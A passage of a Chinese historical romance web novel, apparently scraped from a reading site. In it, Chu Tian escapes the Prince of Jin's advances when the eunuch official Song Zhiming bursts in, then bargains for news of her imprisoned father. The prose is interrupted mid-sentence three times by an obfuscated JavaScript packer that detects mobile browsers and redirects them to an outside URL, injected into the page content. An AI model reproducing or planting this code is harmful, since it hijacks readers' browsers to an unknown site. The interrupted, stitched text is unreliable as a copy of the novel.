上京城里民间都相传，东厂的车马无人敢拦，尤其是那顶朱红色的轿子。因为那抹红色并不代表喜庆，绝大多数时候全是来索命的。 至于轿子里坐着的那人，更是让人不敢多瞧上一眼。 …… 彼时楚湉正想要去夺李管事手中的玉扳指，黄玉虽然比其它玉质坚硬些，但若是摔在尖锐的物件上，也免不了面目全非，只要那玉碎了，便是死无对证。 她既不退让，李管事也无法采取强硬的手段，他们并非官府的人，就算是楚家真的犯事了，按道理也得先遣人去报官，没有他们武力捉人的道理。可晋王未必想让官府来掺上一角，所以他只能暗地里遣人先去告知晋王，等晋王来做决断。 晋王全然没料到楚湉竟比他想象当中聪明了许多，但越是这样，他的心反倒是越痒痒，驯服这样的女人比主动投怀送抱的可有意思多了。听闻手下禀报之后，晋王当即领兵往楚家赶。 这一次，他拿了楚家这么大的把柄，他可不信还有谁能救她走。 晋王隐忍的火气在见到楚湉那抹清丽的身影时消了大半，她今日并未施妆，着的也不过是寻常衣饰，正是这样看着却又格外的素雅，一双灵动的小鹿般的眼睛微微眨动就快把他的魂勾走了。 想起自己此行的目的，晋王却又不想给她留下不好的印象，于是顺水推舟想要做个好人：“今日的事情大概是弄错了，只要人交出来，一切都可以既往不咎。” 楚湉顺着晋王的声音望过来，他脖颈处几个鲜红的唇印分外夺目，刻意拉起的护脖都未能遮掩住，她一眼便瞧见了。她知他来者不善，本来一个管事就够心烦的,再加上一个晋王领了这么多人过来，她要如何在众目睽睽之下毁了那枚扳指。 楚湉低下头去，客套行礼。 “臣妇拜见晋王爷，”楚夫人扑过去，声音中带着一丝颤抖，“你可要给我们个说法呀，今日先是贵府里的人不由分说砸了阿湉的屋子，又是说什么男人，我家女儿尚未婚嫁，怎么会窝藏男人呢？” 晋王目不转睛盯着楚湉垂下去的头颅，顺着她优美的颈部线条慢慢滑落，眼里闪过一丝玩味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651719|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “夫人说得是，我有几句话想私底下问问楚姑娘，若她所言无差错，我们当即撤回去，隔日我再特地上门赔礼道歉。” 楚湉颇有些不可思议地抬起头，晋王要问她什么？ 晋王慢悠悠从李管事手中接过那枚玉扳指，步行至楚湉跟前，指了指前面半掩的门，“随我进去吧。” 这么多人在，想必晋王应该也做不出什么出格的事情，她刚好有机会拿到扳指。 楚湉进来时特地留了门缝，却不曾想晋王立马给关上了。 晋王浑不吝地坐在楚湉的榻上，边闲适地把玩着温润的玉石，边拿另一只空闲的手拍了拍旁边的位置，示意楚湉坐过来。 “我又不会吃了你，这么怕作甚？”晋王低低的笑。 听到他促狭的笑声，楚湉忍不住蹙眉，感到一阵恶寒，只上前一步却并未坐下。 晋王却觉得这样的距离似乎还不够近，长臂一伸，抓住楚湉的皓腕，便将她拉到身前，楚湉一个踉跄，险些摔倒在他怀里，却强自稳定了身形站住了。 晋王把扳指放下，想要伸出手指挑起她的下巴，她轻微的呼吸带着丝丝缕缕的温热，这如玉的肌肤摸起来应该比冷冰冰的石头好多了。 啧，细闻她的屋里还真是无一处不香。 楚湉为了拿到那枚玉扳指，趁着扭头的功夫探出手来，险些没能躲开他的触摸，好在终于是把东西拿到了她掌中。她默默把扳指往袖中藏，同时不动声色地往后退，她真是一刻都受不了晋王这样孟浪的人。 晋王见她投怀送抱又要离开，被勾得分外眼热，继续说道：“好姑娘，你就从了本王吧，从今往后本王绝不会让你吃半分苦头。” “还有你父亲那头，若是你愿意求我，”他故意拖长了尾音，“虽然刑部那群顽固有些麻烦，为了你我愿意去打听打听。” 楚湉怔住，刑部？父亲被关在大理寺，和刑部有什么关系？ 晋王以为自己的花言巧语奏了效，连忙伸手去揽她的腰肢，一把将楚湉往怀里搂。 楚湉没料到他竟然如此不顾脸面，顿时被吓得花容失色，又急又怒地抵住他的胸膛，奋力想要挣脱开：“放开我！外面那么多人，若是我呼救被他们听到了，王爷该将脸面置于何地？” “你敢叫吗？”晋王勾起她一缕散落的秀发，为她的天真而发笑，“我可不在乎名节，至于你么，叫了除了让你母亲担心能掀起什么风浪？” 他作势去亲楚湉的香腮，楚湉再也忍不住，抬手就是一巴掌。 “唰”地一声，格外清脆。 “你敢打我，不要命了？”晋王惊愕地瞪大了眼睛，脸上浮现出清晰的掌印。他表情尽显狰狞，步步紧逼，“给你脸不要，那就莫怪我。” 楚湉被吓得连连后退，后背抵上冰冷的梁柱，已是无路可走。 “别过来……”她咬着牙，声音不自觉发颤。晋王不但充耳不闻，反倒是恶狠狠地盯着她笑出声。 楚湉万念俱灰，不自觉握紧了袖中的玉扳指，做好了拼死抵抗的准备。 却听一声巨响，门板顿时四分五裂开来。 继而屋外走进来个高大的人影。 狂风骤起，呼啸着席卷天地。 于凛冽的风声中，楚湉缓缓抬眸而视。 一眼便望见了宋知明。 18. 第 18 章 “王爷！” 李管事紧随其后，急忙冲进来，“都和宋大人说了您在里面，宋大人非不听，属下没能拦住……” 话还未说完，他的声音就慢慢低了下去，虽然晋王这里需要解释，但宋知明那里他也不敢招惹，于晋王手下办事不力顶多是挨一顿板子，可让宋知明不高兴的话，他都不知道自己会有什么样的死法。 破碎的门板歪歪斜斜挂在那里，半悬在空中随风摇摆。 晋王侧目而视看向宋知明，面色铁青。宋知明这个时机过来，明摆着是要坏他的好事，若是换了别人，他怎么能吞下这口气。 他强压下直冲脑门的血气，攥紧了拳头：“哪阵风把提督吹过来了，怎么不先派人过来通传一声？还有何事这么急，把这门踹坏是什么意思？” 其实无须他开口，单单是他脸上五个清晰的指印都分外显眼，叫人想要忽视都难。 宋知明一眼扫过去，自然也看到了蜷在一团瑟瑟发抖的楚湉，她眼里全是慌乱，清澈的眸子里好似被狂风暴雨侵虐过，扰乱了一波湖水。楚楚可怜的眼神，让人看得心一颤，我见犹怜。 “有东西不见了，咱家来寻。”宋知明目光清冷，声音像是被霜雪浸染过透着丝丝寒气。 晋王知晓宋知明向来脾气古怪，他不喜宋知明，却也没打算和这个皇兄的心腹交恶，但此番宋知明显然不怎么准备解释的态度来得莫名其妙，该恼怒的人不应该是他吗？ 东厂的人个个手里都拿着兵器，将屋子团团围住。不知道的还以为是要来捉拿他的呢！ 原本被摔得七零八落的屋子里在突然闯进来一群人之后更显狭小，来福更是气势汹汹地拔出了佩剑跟在宋知明身侧，任由哪个底下的人都看得出来当中权势最大的两位心情都算不上多好，谁都不敢擅自出声。 楚湉听到宋知明的话，默默攥紧了手中的玉扳指，于这样的情况下被许多人撞见，她本该觉得羞愤，但此刻她却完全不记得那些牢记于心反复背诵的礼义廉耻。 此时此刻，她只觉宋知明的现身好似阴云密布的天气中突然出现的光亮，哗的一下让她感受到了希望。 “提督的东西怎么会落在这里？”李管事打着圆场，“该不会是找错了？” “在！”楚湉坚定答道。她像是抓住了救命稻草般，脚步踉跄地朝宋知明奔过去。她唯恐慢了一步就被晋王捉回去似的，跑起来的动作勾勒出的单薄身形摇摇欲坠，好似一阵风就能将人吹跑。 “提督说的可是这枚扳指？”楚湉忽视掉身后晋王吃人的眼神，小心翼翼地举起来。 人走近了，才发觉她脸上还挂着未干的泪痕，身上穿着的衣裳也沾染了灰尘，衣襟上的扣子不知何时还掉了颗，一眼便知刚才发生了什么。 与她的狼狈大相径庭的是，那枚扳指静静地躺在她掌心，完好无损，温润的光泽同她如雪的皓腕相互映衬，幽幽流转。 瞧到这，宋知明蓦地发出一声轻笑。 “咱家听说有人要给咱家治罪，打的是什么名头来着？”他若有似无地瞟了晋王一眼，“若是底下人没听错的话，好像是谋逆。” “这么大的罪名，咱家可担不起，王爷要是想治罪，倒也不必寻这个由头，咱家贱命一条，随时奉陪。” 宋知明拈起玉扳指，缓缓戴在他指上，恰好合适。 晋王府的人全都不自觉瞪大了眼睛，怎么会，这竟然是宋知明的……但要是他的话，未免不是陛下赏赐的，可陛下竟宠信他到了这个地步吗？权势再大，不过一个阉人，怎可佩戴象征九五帝王之尊身份的东西？ 与此同时，楚湉的心头也闪过一丝异样，方才宋知明的指腹划过她掌心，好似带着酥酥麻麻的痒，明明这么寻常的动作，为何被宋知明刻意拉长。还有宋知明今日出现在楚家，也总让她有种说不出的古怪之感。 不过宋知明既然过来了且认下了这枚玉扳指，她自然相信他有能力解决好一切，并没打算再待在这个是非之地，方才进去了这一会儿又闹出这么大的动静，怕是把母亲和妹妹都吓坏了。 楚湉对着宋知明屈膝行了一礼：“有劳大人。” 她匆忙往外走，果不其然，等她到了院子时，就听到楚欣欣着急的声音：“母亲你怎么了？快醒醒啊！” 楚夫人双目紧闭地瘫倒在地上，被吓晕了过去。 …… 楚正业没出事之前，家里的大小事务全部由他经手，楚夫人安心顺遂了半辈子，从未经历过像今年这么多的风浪。 第一次是自己夫君被抓的那日，其次是今天。 楚夫人把女儿引以为傲，她的阿湉样貌性子都是极好的，哪怕被退婚，楚夫人也相信等风波过去之后，要为她选个家世一般的夫婿应当算不上很难的事情，但福祸相依，她竟没想到女儿会被晋王瞧上。 晋王可算得上楚湉的长辈了，枉她还期盼晋王弄清真相，还楚家一个清白，没想到这个畜生竟然敢在光天化日之下对阿湉动手。楚夫人自己也是过来人，待她听到屋里女儿隐忍的哭腔时还能有什么不明白的。 晋王的手下死死地抓住了楚夫人不让她过去，她心急之下两眼一黑就晕了过去。 再醒来之时，楚夫人只见女儿静静守在床畔。楚湉换掉了白日里穿着的那身衣裳，紧紧握着楚夫人的手。 “湉儿，”楚夫人看到她顿时哽咽住了，“你没事吧？”她想问楚湉到底发生了什么事情，却又怕刺激到女儿，终于在多番打量之下，确保楚湉是真的安然无恙之后才松了口气。 楚湉给楚夫人拧了帕子擦泪，解释道：“多亏了宋大人及时赶到，幸免于难。” “那个狗官可不是什么好人，你不要被他蒙骗，你父亲若不是因为他，也不会落得个这么凄惨的下场，我们一家人如今过成这样，也都是拜他所赐。” 楚湉低垂着头，没有出声。 跳动的烛光中，她长长的睫毛在眼睑下投射出淡淡的阴影。 楚夫人看着女儿这张逐渐长开了的脸，愁绪又起，转过头道：“过了这个年，我带着你和欣欣回我金陵的母家去，到时候咱们一家在那边好好过日子，远离上京的这些纷纷扰扰。” 楚湉点头应下，可是心里却在想，若是父亲不在，她们几人又何尝称得上一个完整的家呢。也不知父亲在大理寺里过得如何，还有晋王今天提到的刑部究 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658305|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟是什么意思。 天色不知何时已经黑了过去，楚湉从母亲的卧房出来时府里已经点上了灯笼。 晋王府和东厂的人马早就撤了出去，满是狼藉的楚家也已经被收拾干净，除了那些无法复原的物件，一切好像从未发生过。 楚湉屋里的瓶瓶罐罐大多都被砸碎了，从库房里拿了新的补上，就连大门临时也已经换好了新的。 可是楚湉一进屋子就感觉浑身不适，尤其是那张床榻，虽然冬至早已经替楚湉换了一床被子，又铺上了全新的褥子，但楚湉只要一想到晋王曾坐在上面，她就忍不住泛起恶心。 她捂着胸口，打开了窗子，静静站在窗前。 “怎么，睡不着？” 黑暗处，一个人影走出来。宋知明立于微光之下，衣袍上用金线绣成的祥云在昏黄的烛光下泛着冷光。 楚湉微微睁大了眼睛，冬至不是说宋知明早走了吗？ 她张嘴问道：“宋大人，你怎么在这？” 母亲的一番话敲打了她，虽然晋王不是什么好东西，但宋知明也不见得是什么好人，她与他早日划清干系是最好。 楚湉神色冰冷，这样疏离又拒人于千里之外的态度让宋知明恍惚了一瞬，怀疑起现在的她和今日他破门而入时看到的楚湉是不是一个人。 “咱家来还东西。”宋知明从袖中掏出一方锦帕，正是楚湉昨夜替他包扎的那块，上面的血迹已经清洗干净，光洁如初。 “本来就不是什么贵重的物件，不值得大人跑一趟。”楚湉皱着眉头道，他们之间可不至于是需要时常走动的关系，若是宋知明过来被人瞧见只会给她徒增烦恼。 “咱家不喜欢欠人情，”宋知明唇线抿成一条线，“你若不要便丢了。” 空气的温度随着他的话音落下瞬间降至冰点。宋知明把帕子一扬，那方锦帕便徐徐飘进了屋中，而楚湉眼皮都没眨，并未伸手去接。 两人四目相对，无声僵持。 今夜无月也无繁星，只有凉薄的空气弥漫在这黢黑的夜晚的每一寸空间。 楚湉率先开口打破这诡异的沉寂，“提督大人若是无事的话，就自行走吧，毕竟老是翻墙潜入别人的府邸也不是什么光彩的事。” “还有，烦请离开之前仔细检查，别再落了东西在这。” 守在屋檐下等候的来福听了这些话冷汗直流，这楚家姑娘怎么敢同提督这么说话，别人上赶着巴结还来不及，她居然敢赶提督走？ 宋知明垂眼，微微动了动拇指，玉扳指便在他指尖转了一圈。 半晌后，宋知明低低笑了一声：“楚姑娘这张嘴倒是尖利，确实是像你父亲。” 这话听在楚湉耳朵里格外的刺耳，他这是拿她父亲要挟她？莫不是父亲在他手里受刑了？想到大理寺内宋知明审人的手段，楚湉原本平静的面容顿时变得煞白。 “你想干什么？”楚湉质问道，她的指甲不自觉嵌进了掌心的肉里，一道弯弯的月牙形痕迹隐匿在黑暗里。 “咱家只是好奇，” 宋知明淡漠的眼眸中倒映出她那张分外干净的小脸，慢条斯理说道，“这张嘴求人是什么滋味。” 19. 第 19 章 楚湉因为宋知明临走时留下的那句话，一整夜都没能睡好。若是因为她的缘故而导致父亲受刑，她会愧疚一辈子，父亲本就年迈体弱，怎么受得了宋知明的磋磨？ 她辗转反侧一夜，翌日眼周不免泛起一圈淡淡的乌青。 “冬至，你让人把这封书信替我送到大理寺少卿锦庆大人的府邸去，说这是给他家二小姐的。”楚湉强撑着精神说道。 上次郡主府的宴席，其实并非一无所获。 其他人虽不愿靠近楚湉，楚湉却同样发现了另一件事，这些一贯最看重门第家世的贵女们并非只对她一人如此，备受冷落的还有锦庆大人的妹妹。 按道理来说锦庆既为朝中新贵，他的妹妹本不该坐冷板凳。楚湉略一打听才得知，锦庆的妹妹锦竹自小长在乡野，在她的哥哥没考取功名之前家中很是清贫，眼下虽然一家人迁到了上京开始习得官家礼仪，但她口音未改，许多人都暗地里瞧不上她。 这倒也不奇怪，毕竟上京城里比锦庆有权势的官家多了去了，鲜少有人会乐意攀附自己打心眼里瞧不上的人。 楚湉叹了口气，她遥遥观察过那锦竹姑娘，看着性子怯怯的模样，在异乡里没有同伴已然很是可怜，但她却要利用这个小姑娘达成自己的目的，自己比那些捧高踩低的贵女们还不如。 但此时，她也没有更好的办法了。 …… “哥哥，有人邀我去街上逛逛，”锦竹亮晶晶的眼眸里满是期待，她开口问道，“我能去吗？” 锦庆只有这么一个妹妹，平时凡事几乎都依着她，他也知晓锦竹初来上京十分不习惯，若是能交上几个朋友定然能有利于她尽早适应。 他正要点头，突然问道：“是哪家邀约的？”他并非不知道上回赴宴妹妹面临的尴尬处境，也不想妹妹再经历别人的奚落。 “是楚家！”锦竹兴奋回答。 “我刚来上京就听闻过她家大姑娘的美名，听说有上京第一贵女的美誉，百闻不如一见，前几日见到她我才知道竟真有……” 锦庆打断她的话：“楚家？” 若是之前也就罢了，现在楚御史被抓，虽然他信赖楚御史的家风品德，但此时和楚家来往并不是明智之举，何况楚御史还关在大理寺，怕是交往密切会惹人诟病。 “怎么了哥哥，”锦竹见他神色犹豫，连忙追问，“不可以吗？” 水汪汪的大眼睛里盛满了失落，都快要溢出来，锦庆看了心瞬间软下来，“无事，你去就是。”楚湉要是真心想要和他妹妹结交就罢了，若是想要他借职务之便徇私是万万不可能的。 楚湉邀约锦竹在自家的绸缎庄里见，想来借此打开话题应该不会太难。 于众多精美华丽的布匹当中，锦竹却一眼便瞧见楚湉那张带着梨涡的笑脸，顿时心跳都漏了一拍。 楚湉心中有愧，便想愈发对她好些，本来是有意想要讨好，相处下来才发觉锦竹是个十分可爱的小姑娘，年岁和楚欣欣差不多大，就想着将她也视作妹妹一般。 锦竹结结巴巴地用还不太熟练的上京腔磕磕绊绊道：“姐、姐，我性子笨，若是说出什么惹得你不高兴，姐姐你不要不喜欢我。” 她努力放慢了语速，去掩饰自己的口音，眼神也格外的小心，紧紧盯着楚湉的反应。 “不会的，”楚湉扬起嘴角，“你说话的声音很好听，以后想说什么都可以同我说。” “真的吗？”锦竹瞪大了眼睛，反应出来自己情急之下竟然说出了家乡的方言又匆忙去捂嘴，羞赧道，“我不是故意的。” 以前也有上京的姑娘想要和锦竹结交，交谈了几句锦竹就看到了对方眼里藏不住的嫌弃，嫌她没见识是从乡里来的，同旁边丫鬟编排出来的话更是让她心寒，说锦竹山鸡飞上枝头，什么都不像样。 有过之前的经验，锦竹很怕把楚湉吓跑，于是昨夜悄悄练了许久，就是怕露出端倪，没想到方才又情不自禁脱口而出了。 “没关系的，我母亲是金陵人，她家乡话和你方才说的话口音很是相似，虽然我不会说，但其实大部分我也能听懂，”楚湉拉开锦竹捂嘴的手，“你怎么开心就怎么说。” 锦竹怔住了。 “我、没有骗你。”这下轮到楚湉结巴了。 她用的是幼年母亲教她的家乡语调，江淮官话，因为年岁久远，说出来也不见得能让锦竹听懂，只想着试试。 锦竹呆呆伫立在原地，到了上京之后所有人都告诉她以后不能随便说话，要努力学习上京城里的一切，就连自己的家人，也不愿再提起旧日熟悉的字句。 今日却于一个陌生人的身上，听到了耳熟的声音。 楚湉撞了撞锦竹的胳膊，分外认真说道：“你也不能笑话我说得不好，咱们俩算是扯平了。” 锦竹来之前所做的所有心理建设在听到楚湉的这句话之后轰然倒塌，她隐约意识到，她好像真的要在上京有可以交心的朋友了。 临别之际，楚湉挑了两匹绸缎庄新出的料子赠于锦竹：“黛青色和绛红都衬妹妹的颜色，若是拿来做衣裳，定然十分合适。或者你可以再挑挑，我一并送给你。” “不，哥哥说过，不能随意收别人的东西的，这我不能要。” 锦竹拼命摆手，年轻姑娘谁不喜欢这些，楚湉也是用了心在为她挑选，一眼就瞧出来锦竹适合什么又喜欢什么颜色，把她的喜好完全拿捏住了。 楚湉笑着对她点头，悄悄说了两句话，锦竹最终还是红着脸收下了。 绸缎庄的伙计帮着把布匹抬上了锦家的马车，锦竹恋恋不舍地同楚湉道别：“下次姐姐找我出来，我一定会记得完成姐姐的嘱托，姐姐等我消息便是。” 冬至目送锦竹带着丫鬟离开，不由问道：“小姐就这么轻易说服了锦家小姐吗？她能打探出大理寺的消息吗？” 楚湉脸上笑意寥寥，没有言语。 锦竹欢天喜地的回到了家中，一回家便看到哥哥在等她，锦庆问她：“自从来了上京之后，从未见你笑得这么开怀，这是遇上什么好事了？” “哥哥你瞧，”锦竹美滋滋拿起绸缎，比划着料子的尺寸，“这拿来做衣裳是不是很好看？” 锦庆点头，妹妹是在乡间长大的，全家为了供他上学堂，就连妹妹年纪轻轻的也要帮忙做许多杂活来赚束脩。锦竹不比上京的女子娇生惯养，肌肤也不似她们那般白皙，是健康的小麦色，这两块料子很衬她的肤色，看着已然像是为妹妹量身定制的。 明明是五大三粗的男人，在关于妹妹的事情上却有着不一样的细腻，锦庆收敛起平日里自己大大咧咧的作风，认真夸道：“嗯，确实不错。我妹妹在我眼里就是最好看的。” 锦竹吐了吐舌，“哥哥要是对别人也能这般甜言蜜语，我早有嫂嫂了，不瞒哥哥，这是楚家姐姐送我的，她说……” “送？”锦庆皱眉，“怎么能平白无故收别人的东西。” “不是的，楚家姐姐是有条件的。” 锦庆听闻这话愈发不高兴了：“锦竹，你休要胡闹，若是她让你为她父亲来求我办事，我绝对不会同意。” 突然的训斥让锦竹的眼眶瞬间红了，她从锦庆的口中好像了解到了什么，先是不可置信了一瞬，旋即便大声辩解道：“哥哥你不许胡说，她不是这样的人！” “不管如何，以后你不许再和她来往！” 锦庆心里满是后悔，上京姑娘心肠里的这些弯弯绕绕，自家妹妹怎么可能知道，他就不该在一开始答应她出去。 锦竹气得跺脚：“哥，你怎么能这样不讲理，你什么都不知道，凭什么这样揣测别人？” 小姑娘气得带着哭腔跑出去，锦庆忙令丫鬟去追：“千万不能让小姐出事。” “还有，”锦庆顿了半刻，“给我弄清楚那楚家姑娘到底同小姐说了什么，竟把小姐哄得像是灌了迷魂汤药一般死心塌地。” “回大人，按照您的吩咐，我们已经派人去追小姐了，可是今日小姐见楚小姐时，吩咐丫鬟在外头等，所以……谁也不知道发生了何事。” “那就去请她来和我见一面！我倒要看看她费了这么大的功夫葫芦里到底是卖的哪门子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664246|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药！” 次日上京最繁华的茶楼听雨楼二楼。 楚湉轻抿一口茶，温热的茶水滑过喉咙，唇齿生香。 冬至站在窗边俯瞰下方熙熙攘攘的人群，担忧问道：“小姐，大理寺少卿真的会过来吗，咱们今日这么大摇大摆过来会不会太惹人注意了。” 和往常出府不同，今日楚湉并非乔装打扮，也未着面纱，方才在到这里时已经有许多人注意到了她们的存在。 楚湉却并非在意他们投过来的目光，她是有意而为之。 而她确信，锦庆一定会来。 门“砰”的一声被推开，锦庆怒不可遏地进来寻人。 屏风后面，影影绰绰映出来女子身形，婀娜的身姿宛若随风摇曳的柳枝，纤细而修长。如瀑的长发被随意地挽起来，几缕掉落的鬓发隐约可以瞧见垂落在颈侧，那一截脖子仰头的弧度宛如一轮新月，优雅地延伸至肩膀。 单单是坐着，并未刻意端着身子，也能看出她身后的家族教养的礼节有多周全。 楚湉听闻声响微微侧过头来，锦庆走近，看着这道逐渐清晰的倩影，心中的怒火却并未消减，反倒是火气更旺走到了她跟前。 “大人，请喝茶。” 楚湉纤手轻抬，取过茶壶，皓腕轻转，便有澄澈的茶汤顺着壶嘴缓缓流淌，落入她面前的白瓷茶盏当中。 她的目光专注，微垂眼眸，并未看向锦庆，等到茶盏七分满之时，稳稳放下茶壶，理了理衣袖做了个请的手势示意锦庆落座。 锦庆在大理寺什么样的刁民恶人没见过，楚湉既然这么以礼相待，他的满腔怒火却不好发作了，但他又并未坐下，也没有拿起茶盏。 “我这人习惯了开门见山，不必整这些虚的，同样的，楚小姐有话直说就是。楚御史是我敬重的人，我今日过来并非是楚小姐耍的那点雕虫小技。” 楚湉抬眸，看向锦庆的眼睛，“那大人为何过来？” 她眉梢微微上挑，清水出芙蓉，不加修饰的脸蛋被灼热的茶水熏出淡淡的粉色，眼里是望得到底的坦然。 向来泰山崩于前而不动声色的锦庆也不由得看愣了，这张脸怎么似曾见过？ 他脑海中不由浮现出在大理寺见过的那名小狱卒，但怎么可能。这样的世家女子怎么可能女扮男装，还做出潜入大理寺牢狱这么离经叛道的事情。 “我来是想同锦大人做笔交易。”楚湉淡淡出声道。 “同样的，我也不绕弯子，这对大人来说百利而无一害。” …… 不过一盏茶的功夫，锦庆从茶楼厢房出来，虽然依旧蹙着眉头，不难看出他的面色比来之前缓和了许多。 片刻之后，楚湉领着冬至也相继推开房门，冬至咧着嘴打赏了送茶水的店小二，主仆俩看着心情似乎不错。 此时恰好锦庆转头回看，楚湉嘴角噙着一抹明媚笑意冲他点头致意，脸上漾起的笑容甜丝丝的，好像蜜糖般。锦庆看得楞住，身子僵了一瞬。 二楼临窗的雅座上。 来福站在宋知明身后，见主子一直盯着底下，揣测着问道：“提督您看，楚姑娘这么高调露面，莫不是搭上了大理寺的锦大人？” “果然是有了靠山，楚姑娘的精气神都不一样了，还有锦大人之前不是如铁壁铜墙似的难以收买吗，看来还是败在美人计下了。” 宋知明手中拖起一盏刚沏好的香茗，灼灼热气自茶盏中袅袅升腾。 “大人当心！这茶滚烫！”来福连忙提醒道。 宋知明对来福的话恍若未闻。 他浑然不觉烫意般，兀自收紧了手指。 直到那抹背影消失，来福才见到主子有所反应。 宋知明摩挲着杯盏，莹润剔透的玉杯在日光的照耀下泛着柔和细腻的光晕，宋知明眼前莫名浮现出一张倔强的脸。 楚湉扬起下巴，眼神格外坚定：“大人放心，我绝求不到你头上。” 宋知明缓缓抬眼，目光飘远至空荡的街上，狭长的眸子半眯，眼中似有寒芒划过，他蓦地冷笑一声：“有意思。” 20. 第 20 章 “锦大人写信过来，说是事情已然调查清楚了。”冬至兴冲冲地走进门，掩上门后从怀里神秘兮兮地掏出来一沓纸。 楚湉听闻消息，忙不迭接过书信，她果然没有看错人，锦庆的办事效率确实很快，这么短的时间内便将她父亲被抓的始末给弄清楚了。 信中锦庆提起，楚正业被抓的原因大概有二： 一是朝中近来因为立储一事争论不休，楚正业身为御史本来就有谏言献策的职责，却迟迟不站队，于陛下问起时，并未表明自己的立场，还劝诫陛下不可荒废朝政，惹得龙心不悦。其二确实也和宋知明有关，楚正业多次上书弹劾东厂之迹，被抓那日更是于殿前长跪不起只求面圣，刑部的人刚好做个顺水人情，捏了个“大不敬”的罪名禀告陛下，所以人就被抓走了。 楚湉捏着信纸，神色惶然，自古伴君如伴虎，圣意本就难测，可她竟没想到官场竟是这般的险恶。如果没有陛下点头，除了宋知明之外任凭别人有再大的能耐也不敢随意抓朝廷重臣，刑部编造的这个罪名完全在陛下的一念之间。 若真是陛下对楚家不满，再把这个屎盆子扣在宋知明头上，旁的人谁都不敢出手，难怪她四处求人无门，民间也都是多传是宋知明看不惯她父亲的所作所为，才把人关进大牢里。 这样一来，陛下还是那个光风霁月、勤政爱民的天子，而宋知明积累的无数骂名自然也不在乎多的这一桩，最终被殃及的只有她父亲。 难怪那日晋王会提到刑部。晋王自然是知道内情。 但楚湉隐约又觉得事情好像并没有这般简单，她总觉得迁怒陛下的不止是这些，从前她父亲没少因为直言的性子惹陛下不悦，但从未像这次一般严重。 究竟是为了什么呢？楚湉想不明白。 锦庆在信末不忘告诫她，这已经是他能透露的全部了，剩下的所有事务他都爱莫能助不会再出手了，楚湉猜他这句话的意思，应当是想起来了大理寺里两人曾见过一面，不然他话应该不至于说得这么绝对。 明明走到这一步，事情已经算得上是有所进展了，楚湉却才发觉事情的棘手。她比那无头的苍蝇好不了多少，毕竟普天之下，谁能同陛下作对，谁又能同陛下抗争成功。 楚湉眼前一阵眩晕，身子仿佛被抽去了筋骨，无力地瘫坐在冰冷的地板上。 她攥紧了手中的信纸，起身走向燃着炭火的火盆，银炭烧得正旺,稍稍靠近便传来灼灼的热气，把身子都暖透了。 楚湉缓缓松开手指，滑落的信纸飘飘然坠下，立马被火焰吞噬，橘色的火光照亮了楚湉的脸，她静静伫立在一旁,目睹它化为灰烬，直到再也消失不见。 “这么大的烟，小姐怎么在屋里就把信给烧了，难道是不好的消息吗？”冬至惴惴不安问道，她见楚湉面色灰白，忍不住又安慰道，“小姐不必太过于忧心，老爷这样的好官，等到皇上查明事实，定然会网开一面的，说不定到时候家里比从前还要好。” “反倒是宋知明那样的恶官，才不会有好下场呢！”冬至自从知晓宋知明的真实身份之后便一直耿耿于怀，又惊喜于自己竟然误打误撞地从他手里逃脱，又为小姐三番两次差点被他捉住而恼恨。 “冬至，”楚湉话语里都带着颤意，“若我说，害父亲被抓的人不是他呢？” “怎么会！”冬至震惊得瞪大了眼睛，“小姐于老爷被抓那日不是分明见到了那奏折上的字迹，分明写的就是他的名字！” 楚湉叹了口气，这才是作局的人的高明之处，把所有人都玩弄于股掌之中，自己却独自隐身了。楚家三代功勋，冒然连根拔起必定会惹人闲话，陛下既然下出这一步棋，怕是已经对楚家忌惮许久了。 她脑海中逐渐串联出更多的记忆。 难怪她去大理寺见父亲那日，父亲什么都没都说，反倒是像留下遗言一般嘱咐她，只怕是父亲心里也清楚这一点。 有一点在楚湉心里愈发确定，父亲一定还有事情瞒着她。 “把父亲书房的钥匙找出来，我要去看看。”楚湉扭头，她有种直觉，父亲若是留下了什么线索，一定会在书房里。 自楚正业被抓那日，这间书房便被锁了起来。楚夫人怕弄坏了里面的东西，吩咐不许所有人进出。 楚湉推门时，门口的铜把手上面已经落了薄薄一层灰。她让冬至候在院子里等她，自己缓步走近，细小的灰尘和一股淡淡的潮湿的味道混杂在一起，陈旧的气息扑面而来。 “怎么没关窗？”楚湉喃喃道。 楚父素有收集古籍的爱好，平时可是对他的这些书和字画宝贝极了，若非清扫的需要，书房从不开窗。 楚湉快步走上前，想要掩上窗子，却无意中瞥到窗台上残留着一丁点黑印。 若是一大片倒也无可厚非，本来没人使用屋子就是会落下灰尘，奇怪的是为什么只单单那儿有？楚湉心中浮现出疑问，来不及关窗，先一步走到了书桌旁。 